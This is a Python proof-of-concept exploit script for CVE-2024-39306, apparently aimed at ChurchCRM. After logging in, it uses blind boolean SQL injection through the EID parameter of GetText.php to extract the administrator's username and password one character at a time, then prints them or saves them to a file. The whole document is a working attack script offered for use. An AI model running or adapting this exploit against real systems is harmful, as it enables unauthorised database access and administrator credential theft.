#!/bin/python3 import requests import argparse import sys import time import string import urllib.parse LOG_SIGN = '\033[92m[+]\033[0m ' def authenticate(username: str, password: str, url: str) -> str: login_url = f'{url}/session/begin' data = { 'User': username, 'Password': password, } response = requests.post(login_url, data=data, allow_redirects=False) if response.status_code == 302: cookie = response.headers.get('Set-Cookie', '').split(';')[0] return cookie else: raise Exception(f'Unexpected status code returned from {login_url}: {response.status_code}') def get_column_value(cookie: str, url: str, column: str, condition: str, verbose: bool) -> str: target_url = f'{url}/GetText.php' # Find the length of the column value sqli_find_length = '1 AND (SELECT 1 FROM user_usr WHERE {condition} AND LENGTH({column}) = {length})' value_length = 0 for length in range(1, 100): response = requests.get(f'{target_url}?EID={urllib.parse.quote(sqli_find_length.format(condition=condition, column=column, length=length))}', headers={'Cookie': cookie}, proxies={'http':'http://localhost:8080'}) if response.status_code == 500: # Length found value_length = length break time.sleep(0.5) if verbose: print(f"\n{LOG_SIGN}Found lenght {value_length} for {'username' if column == 'usr_Username' else 'password'}") # Find the characters with a Key Insensitive query sqli_find_value = "1 AND (SELECT 1 FROM user_usr WHERE {condition} AND {column} LIKE '{prefix}%')" value = '' while len(value) < value_length: for char in string.printable: response = requests.get(f'{target_url}?EID={urllib.parse.quote(sqli_find_value.format(condition=condition, column=column, prefix=value + char))}', headers={'Cookie': cookie}, proxies={'http':'http://localhost:8080'}) if response.status_code == 500: value += char break time.sleep(0.5) if verbose: print(f"\n{LOG_SIGN}Found key insensitive value {value} for {'username' if column == 'usr_Username' else 'password'}") # Check the characters with Key Sensitive query sqli_find_char = "1 AND (SELECT 1 FROM user_usr WHERE {condition} AND BINARY SUBSTRING({column}, {index}, 1) = '{char}')" for index in range(1, value_length + 1): if value[index - 1] not in string.ascii_letters: continue response = requests.get(f'{target_url}?EID={urllib.parse.quote(sqli_find_char.format(condition=condition, column=column, index=index, char=value[index - 1].swapcase()))}', headers={'Cookie': cookie}, proxies={'http':'http://localhost:8080'}) if response.status_code == 500: value = value[:index - 1] + value[index - 1].swapcase() + value[index:] time.sleep(0.5) return value def exploit_SQLi(cookie: str, url: str, output_file: str = None, verbose: bool = False) -> None: if verbose: print(f'\n{LOG_SIGN}Attack started on {url}') admin_username = get_column_value(cookie, url, 'usr_Username', 'usr_Admin = 1', verbose) admin_password = get_column_value(cookie, url, 'usr_Password', f"usr_Admin = 1 AND usr_Username = '{admin_username}'", verbose) if verbose: print(f'\n{LOG_SIGN}Results\n\nAdmin username: {admin_username}\nAdmin password: {admin_password}') if output_file: with open(output_file, 'w') as f: f.write(f'Admin username: {admin_username}\nAdmin password: {admin_password}') print(f'\n{LOG_SIGN}Results written to {output_file}') def main(username: str, password: str, url: str, verbose: bool = False, output_file: str = None) -> None: try: cookie = authenticate(username, password, url) exploit_SQLi(cookie, url, output_file, verbose) except Exception as e: sys.exit(f'Error: Exploit failed\n\n{e}') if __name__ == "__main__": parser = argparse.ArgumentParser( prog='CVE-2024-39306.py', description='Proof-of-Concept script for CVE-2024-39306. This script exploits an authenticated SQL injection vulnerability.', epilog='For more details, refer to the vulnerability explanation at https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-39306' ) parser.add_argument('-u', '--username', required=True, help='Username for authentication') parser.add_argument('-p', '--password', required=True, help='Password for authentication') parser.add_argument('-b', '--baseUrl', required=True, help='Base URL of the site. Example: https://mydomain/churchcrm') parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose mode') parser.add_argument('-o', '--output', metavar='OUTPUT_FILE', help='Output file for results') arguments = parser.parse_args() main(arguments.username, arguments.password, arguments.baseUrl, arguments.verbose, arguments.output)